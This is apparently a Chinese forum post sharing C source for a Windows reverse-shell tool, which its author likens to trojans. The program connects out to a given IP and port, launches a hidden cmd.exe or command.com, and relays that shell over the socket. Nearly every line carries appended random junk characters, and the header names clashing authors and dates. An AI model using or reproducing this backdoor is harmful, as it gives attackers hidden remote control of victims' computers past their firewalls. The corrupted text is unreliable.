这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E*&vy
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/* ============================== pp?D7S
Rebound port in Windows NT m[osg< CR_
By wind,2006/7 TvoyZW\?w
===============================*/ DDQx
g
#include E,Z$pKL?
#include 5PCqYN(:B
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#pragma comment(lib,"wsock32.lib") L<c4kw
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void OutputShell(); j a[Et/r
SOCKET sClient; @/~omg}R
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [&[k^C5
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void main(int argc,char **argv) PN%zIkbo
{ ^S<Y>Nm]
WSADATA stWsaData; ho{*Cjv
int nRet; UBKu/@[f@
SOCKADDR_IN stSaiClient,stSaiServer; n6=By|jRh
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if(argc != 3) &A/]pi-\
{ .Z`R^2MU
printf("Useage:\n\rRebound DestIP DestPort\n"); >~rTqtKd
return; FgnTGY}
} 3d8L6GJ
[Y/}
^
WSAStartup(MAKEWORD(2,2),&stWsaData); 2>9C-VL2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1#g2A0U,
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stSaiClient.sin_family = AF_INET; jwe *(k]z
stSaiClient.sin_port = htons(0); lgAoJ[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g9pZ\$J&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OnziG+ak
{ $p8xEcQdU#
printf("Bind Socket Failed!\n"); T~?Ff|qFC
return; ' {OgN}'{
} T"Y+m-<%
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stSaiServer.sin_family = AF_INET; g'f@H-KCD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tIi&;tw]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BR_1MG'{)$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 68|E9^`l
{ iU918!!N
printf("Connect Error!"); LP^$AAy
return; ITQA0PISL
} w(Ovr`o?9t
OutputShell(); )}R0Y=e
} KkyVSoD\
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void OutputShell() k}CVQ@nd
{ @IKYh{j4
char szBuff[1024]; "^[ 'y7i
SECURITY_ATTRIBUTES stSecurityAttributes; bP#:Oi0v`
OSVERSIONINFO stOsversionInfo; pX<`+t[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; atH*5X6d
STARTUPINFO stStartupInfo; 7"D",1h
char *szShell; ]%SH>
PROCESS_INFORMATION stProcessInformation; (Rh,,
unsigned long lBytesRead; 2"Q|+-Io
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6v!`1}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "cGk)s
stSecurityAttributes.lpSecurityDescriptor = 0; N% B>M7-=
stSecurityAttributes.bInheritHandle = TRUE; wu6;.xTLl
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nAato\mM
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j_[tu!~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %0?KMRr
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0auYG><=
stStartupInfo.wShowWindow = SW_HIDE; >uB?rGcM
stStartupInfo.hStdInput = hReadPipe; By,eETU]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b_krk\e@S
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GetVersionEx(&stOsversionInfo); ;1=1:S8
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switch(stOsversionInfo.dwPlatformId) r<EY]f^`u
{ R^fPIv`q
case 1: uMv,zO5
szShell = "command.com"; bWS&Yk(
break; FxY}m
default: 3`?7<YJ
szShell = "cmd.exe"; T<>,lQs(a
break; E=Bf1/c\
} Y-z(zS^1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =%O6:YM
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send(sClient,szMsg,77,0); /s?`&1v|r
while(1) n&/
`
{ DfD&)tsMQ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N>1em!AS
if(lBytesRead) Oo~;
L,
{ W*:.Gxv]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6_;icpN]
send(sClient,szBuff,lBytesRead,0); MchA{p&Ol
} {Mk6T1Bkq
else `(;m?<%
{ a-tmq]]E
lBytesRead=recv(sClient,szBuff,1024,0); |-ALklXr
if(lBytesRead<=0) break; Rv>-4@fMJ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #X$\&,Yn"
} W@IQ^
}E
} ,qwuLBW
ue"~9JK.
return; ATyEf5Id_
}